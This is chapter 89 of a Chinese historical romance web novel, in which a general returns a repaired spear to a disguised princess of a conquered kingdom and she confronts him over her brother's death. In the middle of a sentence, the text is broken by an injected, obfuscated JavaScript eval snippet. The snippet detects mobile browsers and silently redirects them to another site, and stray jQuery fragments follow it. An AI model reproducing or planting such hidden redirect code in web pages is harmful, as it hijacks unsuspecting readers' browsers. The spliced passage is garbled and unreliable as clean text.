89. “你要杀了我么?”

作品:《缨枝暮鼓

    将军府往日空无一人的院落内空前地有了人气。


    裴怀瑾等候在屋外,过了一会儿屋内出来一名上了年纪的女使,她还是熊讷从府上厨房拉过来的厨娘。


    “回将军,屋里那位姑娘已经料理好了,伤口也上了药。”女使俯身一礼,对裴怀瑾道。


    “嗯,先下去吧。”裴怀瑾点头,便绕过了她,入了屋内。


    男人撩开帷帐的那一瞬间是有些发愣的,因为床榻上的人被女使擅自做主装扮成了女郎。


    薄枝长发自然披散在枕边,身上却是一套烟紫色襦裙,衬得她沉睡的脸颊愈加温静柔和。


    裴怀瑾愣过神后,才缓缓来到了她的身侧坐下。


    薄枝的脖子上被白布包裹成细细的一圈,下面是萧宏礼挟制她时划下的伤痕,裴怀瑾的目光从她的脖子上掠过,再次看她的脸。


    一直以来他与薄枝呆在一起的种种,似乎都变成了有迹可循。


    起初薄枝对他透着隐隐的不耐和嘲讽,都不是他的错觉。


    她多次面对他时的沉默与试探,都是妄图给他的下一个杀招。


    春日宴回京路上的暗杀,又多次夜探来杀他,皇宫城墙上的交手......原来都是他的错会。


    她不是受制于人,而是她本来的敌人就是他。


    毕竟,当初是他领兵攻打昭云,害的她没有了家国,颠沛流离至此。


    裴怀瑾见薄枝睡得很沉,帮她盖好了被衾,起身走了出去。


    将军府内的库房存品众多,大多是先前打仗圣上赏赐下来的,有的是裴怀瑾自己的私藏,打算给妹妹以后做陪嫁用。


    至于他自己,裴怀瑾还从未有过婚配的念头。


    他曾以为自己不会有欢喜的姑娘,也不想凭借世家间的联姻来羁绊住自身,所以他自己一个人一直活得冷冷清清。


    看守将军府库房的是府中的老人,曾是他母亲姬夫人的下人,后来裴怀瑾寻到了他,给他一个地方颐养天年。


    裴怀瑾出了院子便来了库房,而负责看守在这里的沈叔看到了他,走过来打招呼。


    “将军,您来啦。”沈叔半弓着身子,朝他走近。


    裴怀瑾托住了沈叔的双肘,制止了他行礼的动作,“沈叔。”


    “将军你来是有什么事吗?”沈叔问。


    “没什么事,只是来库房寻一样东西。”裴怀瑾淡淡地,声音清润道。


    “好,那老奴这就给将军开门。”沈叔去取钥匙了。


    裴怀瑾则直身立在库房大门前,一直看着大门上的花纹。


    库房门徐徐打开,沈叔守在了外面,裴怀瑾踱步走了进去。


    他缓慢走着,穿梭在柜架之中,目的明确地朝某个方向走去。


    他还记得,这里有一件属于她的东西。


    裴怀瑾走到了库房深处,这里长时间没来已经有些积灰,透过窗纸的光束洒了进来,灰尘在空气中挥舞。


    他抬手从高出取下一个极为狭长的黑色木盒,用手帕擦净后露出了它外表原本的黑色光泽,裴怀瑾看着它,眼神定了定,才缓缓打开。


    木盒中打开的一瞬间,里面赫然放着的是一件打造精美地兵器,只是因为曾经的断裂和破损,上面补上了赤金镶嵌的修补痕迹,在兵器上蜿蜒盘旋,犹如飞鸟。


    裴怀瑾黑色的瞳眸注视着它,手指抚上它表面的花纹,当初薄枝被白凝松带走后,他便让人将这件兵器收了起来,重新修补。


    原因无它,只是觉得这么好的一件兵器,毁了有些可惜。


    如今一看,当真是冥冥之中,自有注定。


    他合上了木盒,将它带出了库房。


    门外沈叔见裴怀瑾抱了一个盒子出来,并无它言,只默默关上库房,继续回屋喝茶去了。


    .


    薄枝睁眼看到床顶的帷幔时,陌生的花色让她一时恍惚,她犹记得自己是倒在了皇宫,醒来却已经身处异地。


    天外已经大黑,屋内也仅燃了一盏灯,照亮床边这块天地。


    她撑着身子做起了身,被衾滑落下来,连带肩头的衣衫略有凌乱。


    薄枝抬手摸了摸自己脖颈,已经有人替她包扎过了。


    可下一瞬她恍然意识到了什么,她垂头看了看自己的衣衫,胸前的束缚不知被何人给撤去,取而代之的是胸前柔软的衣料。


    她垂头,抬手看向自己衣领身处,里面赫然是一见女子的小衣。


    薄枝下意识捂了捂,思及起自己昏迷前倒下的触觉,应当是倒在了一人怀中,那她眼下竟是在那人府中吗?


    她掀开被子,正要抬腿下床,却忽然听到暗处一道不大不小的声音:“你醒了?”


    薄枝被下了一跳,身子僵住,看向那处黑暗,却什么也看不到。


    旋即,暗处传来衣料摩擦的声音,而后是脚步声,男人缓缓走到了屋内的烛灯旁,用折子点燃,薄枝便看到簇然生起的光亮处,高大颀长的身影。


    男人不急不循地点燃了屋里其他几处蜡烛,才施施然朝薄枝走了过来。


    原本他是在等薄枝醒来,却不想自己也坐在椅中撑额睡了过去,眼下醒来,面上还有些懒散,以及一些身体上不易察觉的......紧张。


    薄枝抬眼看着他一步步走过来,再看看自己身上的衣裳,问道:“你换的?”


    男人摇了摇头,“女使换的。”


    薄枝“哦”了一声。


    她下了床榻,站在床边与裴怀瑾对视,道:“我该走了。”


    在裴怀瑾沉静注视着她的目光中,薄枝不知为何竟有些落荒而逃,她披散着头发,提着有些碍事的裙摆,从他身侧离开,衣衫与他相错。


    “你的东西忘拿了。”


    男人以足以他们两人听到的声音道。


    薄枝心中微疑,看了眼自己浑身上下,回头:“什么东西?”


    裴怀瑾转过了身,目光看向了桌上的黑色木匣。


    薄枝顺着他看去,眉头微拧地看了裴怀瑾一眼,缓缓朝木匣走去。


    她抬手打开盒子,第一眼还以为是一件崭新的兵器,可是再仔细看的时候,她愣住了。


    薄枝怔怔地看着盒子中盛放的东西,即使它的表面变得更加华美,却丝毫不掩它曾经的杀气。


    她的手情不自禁地抚摸了上去,怎么会......它怎么会在这里?


    原本被毁坏的物品,崭新地出现她的眼前。


    薄枝看着这把红缨枪,眼眶微红,丝毫没有注意人何时站在了身侧。


    可下一瞬,她拿起了红缨枪,后退了一步,挥枪指向


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996722|137647||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了身侧之人。


    薄枝红着眼,手一时有些颤抖,即使她的脖子与手腕缠满了白布,举枪时身上的伤口仍隐隐作痛,她却依旧用那双充满痛恨的眼睛看着他。


    “你是何时知道的?”薄枝眼中蓄起了微弱的水光,紧紧握着手中的枪问他。


    而对面裴怀瑾一直沉默地看着她,任由她将枪向前递上两分,即将戳上他的咽喉。


    薄枝问他,他才开口道:“今日。”


    “你要杀了我么?”他继续接了一句,声音竟意外地轻缓柔和,毫无一丝抵抗之力。


    他甚至向前挪动了一步,试图自己撞在枪上,可薄枝她竟然下意识退了一步,她的手颤了颤,直到他的手握上了她的枪柄。


    “对不起,是我的过错,是我害的你失去了国家和子民,所以你杀我,我不怨你。”他的眸子定定地看着她,与她对视,声调平缓极了。


    若是薄枝能认真地看到他眼底的话,会看到他眼中夹杂着的一丝苦楚,但显然,薄枝她已经被情绪控制了头脑。


    她轻抖着嘴唇,喉间竟有了呜咽,她看着眼前的裴怀瑾,她恨他害了她兄长,也恨他下令烧了那座皇城。


    可是她杀了他有什么用?那些过往的记忆,热闹的欢腾,再也回不来了。


    “是你杀了我兄长,对吗?也是你下令让人一把火烧了那座皇城,他们的尸骨全都在大火中化为了齑粉,尸骨无存!他们甚至连坟冢都没有留下,而你呢?你的母亲,你甚至还有可以祭拜她的地方。”


    薄枝将唇瓣咬出了血,喉咙中溢过血腥的味道,冷冷地看着他。


    男人微愣,她竟以为是他?


    “我并未杀你兄长。”他喃喃道。


    “胡说!”薄枝看着他,“我查过了皇宫石室当中的记载,上面写得清清楚楚!”


    她红着眼眶,一脸不相信的模样。


    “当时除了你,还能有谁杀我兄长?他与褚骅同时出现在大军面前,可见当时他还未受我皇叔戕害。”


    “你告诉我,若不是你,还能是谁?”


    薄枝眼中已经泪水盈了满眶,她看着水光中渐渐模糊的裴怀瑾,脸上悲痛。


    裴怀瑾手握着枪的另一头紧了紧,目光看着薄枝的失控,抿紧了唇,脸上紧绷,黑色眸子亦如黑夜般亮沉。


    他的确没有杀褚淮序,可他也是因他而死。


    他抬手夺过了薄枝手中的枪,缓缓走至她身前,垂眸看她。


    薄枝已经完全沉浸在了心中的情感中,眼中泪水已经成串的坠落下来,木头一般一动不动。


    裴怀瑾轻抬起手,给她拭去一侧的泪水,紧抿的唇待了许久,终于与她说道:“你兄长......”


    “他是自戕。”


    声音如空山响声般传进了薄枝耳中。


    她顿了良久,眼中才似有了动静,她滞涩般地缓缓转动头颅,一只手猛然握上他给她拭泪的手臂,怔怔道:“你说什么?”


    裴怀瑾目光未从她脸上移开,喉咙有些沙哑,“他......”


    他话未说完,便见薄枝如同今日在殿前一般,再次昏了过去,无声无息般鼓他心跳。


    沉寂的屋内,烛光倩影,唯有地上男人环抱着怀中女子,看着她脸颊的泪水,垂头亲了亲她的额心。